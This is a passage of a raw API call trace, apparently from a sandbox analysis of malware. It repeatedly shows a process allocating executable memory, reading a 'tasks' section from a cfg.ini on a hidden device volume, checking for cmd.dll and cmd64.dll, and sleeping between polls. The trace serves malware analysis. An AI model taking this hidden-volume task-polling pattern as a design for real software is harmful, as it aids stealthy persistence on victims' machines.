FastMutex=0xfffffa80027d3898) [0128.634] ExFreePoolWithTag (P=0xfffffa8003c00c30, Tag=0x0) [0128.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.634] KeLeaveCriticalRegion () [0128.634] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.634] ReleaseMutex (hMutex=0xf0) returned 1 [0128.634] Sleep (dwMilliseconds=0x927c0) [0128.648] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.648] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.648] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.648] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.648] KeEnterCriticalRegion () [0128.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.648] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.648] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.648] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.648] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.648] IdePortDispatch () returned 0x103 [0128.648] KeWaitForMutexObject () returned 0x0 [0128.648] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.648] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.648] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.648] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.648] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.648] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c000d0 [0128.648] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.648] KeLeaveCriticalRegion () [0128.648] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.648] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.648] KeEnterCriticalRegion () [0128.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.648] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.648] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.648] KeLeaveCriticalRegion () [0128.648] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.648] KeEnterCriticalRegion () [0128.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.648] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.649] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.649] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.649] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.649] IdePortDispatch () returned 0x103 [0128.649] KeWaitForMutexObject () returned 0x0 [0128.649] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.649] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.649] KeLeaveCriticalRegion () [0128.649] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.649] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.649] KeEnterCriticalRegion () [0128.649] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.649] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000a00000 [0128.649] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.649] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.649] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.649] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.649] IdePortDispatch () returned 0x103 [0128.649] KeWaitForMutexObject () returned 0x0 [0128.649] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.649] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.649] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.649] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.649] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.649] IdePortDispatch () returned 0x103 [0128.649] KeWaitForMutexObject () returned 0x0 [0128.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.650] KeLeaveCriticalRegion () [0128.650] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.650] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.650] KeEnterCriticalRegion () [0128.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.650] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.650] KeLeaveCriticalRegion () [0128.650] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.650] KeEnterCriticalRegion () [0128.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.650] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.650] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c00190, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.650] KeLeaveCriticalRegion () [0128.650] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.650] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.650] KeEnterCriticalRegion () [0128.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.650] ExFreePoolWithTag (P=0xfffffa8003c000d0, Tag=0x0) [0128.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.650] KeLeaveCriticalRegion () [0128.651] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.651] ReleaseMutex (hMutex=0xf0) returned 1 [0128.651] Sleep (dwMilliseconds=0x927c0) [0128.665] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.665] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.665] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.665] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.665] KeEnterCriticalRegion () [0128.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.665] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.665] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.666] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.666] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.666] IdePortDispatch () returned 0x103 [0128.666] KeWaitForMutexObject () returned 0x0 [0128.666] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.666] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.666] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.666] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.666] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.666] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00c30 [0128.666] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.666] KeLeaveCriticalRegion () [0128.666] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.666] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.666] KeEnterCriticalRegion () [0128.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.666] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.666] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.666] KeLeaveCriticalRegion () [0128.666] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.666] KeEnterCriticalRegion () [0128.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.666] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.666] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.666] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.666] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.666] IdePortDispatch () returned 0x103 [0128.666] KeWaitForMutexObject () returned 0x0 [0128.666] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.666] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.667] KeLeaveCriticalRegion () [0128.667] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.667] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.667] KeEnterCriticalRegion () [0128.667] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.667] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b05000 [0128.667] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.667] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.667] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.667] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.667] IdePortDispatch () returned 0x103 [0128.667] KeWaitForMutexObject () returned 0x0 [0128.667] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.667] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.667] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.667] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.667] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.667] IdePortDispatch () returned 0x103 [0128.667] KeWaitForMutexObject () returned 0x0 [0128.667] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.667] KeLeaveCriticalRegion () [0128.667] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.668] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.668] KeEnterCriticalRegion () [0128.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.668] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.668] KeLeaveCriticalRegion () [0128.668] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.668] KeEnterCriticalRegion () [0128.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.668] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.668] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c003c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.668] KeLeaveCriticalRegion () [0128.668] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.668] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.668] KeEnterCriticalRegion () [0128.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.668] ExFreePoolWithTag (P=0xfffffa8003c00c30, Tag=0x0) [0128.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.668] KeLeaveCriticalRegion () [0128.668] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.668] ReleaseMutex (hMutex=0xf0) returned 1 [0128.668] Sleep (dwMilliseconds=0x927c0) [0128.682] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.682] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.682] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.682] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.682] KeEnterCriticalRegion () [0128.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.682] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.682] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.682] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.682] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.682] IdePortDispatch () returned 0x103 [0128.682] KeWaitForMutexObject () returned 0x0 [0128.683] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.683] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.683] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.683] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.683] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.683] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c01d70 [0128.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.683] KeLeaveCriticalRegion () [0128.683] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.683] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.683] KeEnterCriticalRegion () [0128.683] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.683] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.683] KeLeaveCriticalRegion () [0128.683] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.683] KeEnterCriticalRegion () [0128.683] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.683] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.683] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.683] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.683] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.683] IdePortDispatch () returned 0x103 [0128.683] KeWaitForMutexObject () returned 0x0 [0128.683] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.683] KeLeaveCriticalRegion () [0128.683] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.683] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.683] KeEnterCriticalRegion () [0128.683] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.684] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b0a000 [0128.684] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.684] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.684] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.684] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.684] IdePortDispatch () returned 0x103 [0128.684] KeWaitForMutexObject () returned 0x0 [0128.684] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.684] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.684] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.684] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.684] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.684] IdePortDispatch () returned 0x103 [0128.684] KeWaitForMutexObject () returned 0x0 [0128.684] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.684] KeLeaveCriticalRegion () [0128.684] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.685] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.685] KeEnterCriticalRegion () [0128.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.685] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.685] KeLeaveCriticalRegion () [0128.685] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.685] KeEnterCriticalRegion () [0128.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.685] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.685] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c01e30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.685] KeLeaveCriticalRegion () [0128.685] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.685] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.685] KeEnterCriticalRegion () [0128.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.685] ExFreePoolWithTag (P=0xfffffa8003c01d70, Tag=0x0) [0128.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.685] KeLeaveCriticalRegion () [0128.685] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.685] ReleaseMutex (hMutex=0xf0) returned 1 [0128.685] Sleep (dwMilliseconds=0x927c0) [0128.700] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.701] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.701] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.701] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.701] KeEnterCriticalRegion () [0128.701] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.701] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.701] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.701] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.701] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.701] IdePortDispatch () returned 0x103 [0128.701] KeWaitForMutexObject () returned 0x0 [0128.701] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.701] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.701] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.701] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.701] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.701] 